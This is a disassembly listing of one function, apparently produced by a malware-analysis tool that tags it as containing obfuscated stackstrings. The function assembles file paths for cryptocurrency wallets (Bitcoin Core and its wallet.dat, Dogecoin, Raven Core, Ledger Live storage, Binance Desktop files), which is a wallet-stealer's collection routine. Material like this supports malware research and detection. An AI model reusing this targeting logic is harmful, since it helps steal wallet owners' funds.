Function at 0x40ccef
Capabilities:
Contain obfuscated stackstrings

Disassembly:
push 0xc
mov eax, 0x432d9b
call fcn.00420a45
mov eax, dword [0x446274]
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445d0c]
xor ebx, ebx
mov dword [esi + 0x1c], ebx
mov dword [esi + 0x20], eax
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], ebx
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445cb8]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 1
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445ee0]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push 0xf
pop edi
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push 0x43e1f4
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov dword [ebp - 4], 2
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445de8]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 3
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445eb0]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push 0x43e1f4
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov dword [ebp - 4], 4
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445ca4]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 5
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445c8c]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x446150]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 6
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445c00]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 7
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x446048]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445dc4]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 8
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445c00]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 9
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x446048]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445ef4]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0xa
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445c00]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0xb
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445c1c]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x446104]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0xc
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445c00]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0xd
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445c1c]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x446124]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0xe
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445c00]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0xf
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445c1c]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x4460ec]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x10
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x446134]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x11
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445fc0]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445fac]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x12
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x4461d4]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x13
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445d38]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445bc8]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x14
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445e9c]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x15
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x4460d4]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push 0x43e1f4
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov dword [ebp - 4], 0x16
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445af8]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x17
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x446184]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x446120]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x18
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445d64]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x19
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445bbc]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445a78]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x1a
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445d64]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x1b
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445bbc]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445b5c]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445d64]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x1d
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445bbc]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445fd8]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x1e
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445d64]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x1f
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445bbc]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445c10]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x20
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445d64]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x21
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445bbc]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445df0]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x22
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445d64]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x23
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445bbc]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x44611c]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x24
mov ecx, esp
mov dword [ebp - 0x14], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push str.Binance_Desktop
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov byte [ebp - 4], 0x25
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x4461d0]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push str.simple_storage.json
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov dword [ebp - 4], 0x26
mov ecx, esp
mov dword [ebp - 0x14], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push str.Binance_Desktop
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov byte [ebp - 4], 0x27
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x4461d0]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov dword [ebp - 0x18], esp
mov ecx, esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push str..finger_print.fp
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov dword [ebp - 4], 0x28
mov ecx, esp
mov dword [ebp - 0x14], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push str.Binance_Desktop
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov byte [ebp - 4], 0x29
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x4461d0]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x446158]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x2a
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445b3c]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x2b
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445c18]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445e58]
call fcn.0040407b
sub esp, 0x1c
mov dword [ebp - 4], 0x2c
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445b3c]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x2d
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445c18]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
push dword [0x445c54]
call fcn.0040407b
mov dword [ebp - 4], 0x2e
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445f48]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x2f
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445ee8]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push 0x43e1f4
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov dword [ebp - 4], 0x30
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x445e34]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x31
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445b58]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push 1
push esi
call fcn.0040c589
sub esp, 0x1c
mov ecx, esp
mov dword [ebp - 0x18], esp
mov dword [ecx + 0x14], edi
mov dword [ecx + 0x10], ebx
push str..json
mov byte [ecx], bl
call fcn.004040f9
sub esp, 0x1c
mov dword [ebp - 4], 0x32
mov ecx, esp
mov dword [ebp - 0x14], esp
push dword [0x44608c]
call fcn.0040407b
sub esp, 0x1c
mov byte [ebp - 4], 0x33
mov ecx, esp
mov dword [ebp - 0x10], esp
push dword [0x445ec8]
call fcn.0040407b
or dword [ebp - 4], 0xffffffff
push ebx
push esi
call fcn.0040c589
push 1
push dword [esi + 0x20]
mov ecx, 0x43e238
push str.Bitcoin_Core
mov ebx, str.Bitcoinwallets_
call fcn.0040cab5
add esp, 0xc
push 0
push dword [esi + 0x20]
mov edi, str.wallet.dat
push str.Bitcoin_Core_Old
mov ecx, edi
mov ebx, str.Bitcoin_
call fcn.0040cab5
add esp, 0xc
push 0
push dword [esi + 0x20]
mov ecx, edi
push str.Dogecoin
mov ebx, str.Dogecoin_
call fcn.0040cab5
add esp, 0xc
push 0
push dword [esi + 0x20]
mov ecx, edi
push str.Raven_Core
mov ebx, str.Raven_
call fcn.0040cab5
add esp, 0xc
push 0
push dword [esi + 0x20]
mov edi, 0x43e1f4
push str.Ledger_Live
mov ecx, edi
mov ebx, str.Ledger_Live_
call fcn.0040cab5
add esp, 0xc
push 0
push dword [esi + 0x20]
mov ecx, edi
push str.Ledger_LiveLocal_Storageleveldb
mov ebx, str.Ledger_LiveLocal_Storageleveldb_
call fcn.0040cab5
add esp, 0xc
push 0
push dword [esi + 0x20]
mov ecx, edi
push str.Ledger_LiveSession_Storage
mov ebx, str.Ledger_LiveSession_Storage_
call fcn.0040cab5
mov eax, dword [esi + 0x1c]
add esp, 0xc
call fcn.00420ae4
ret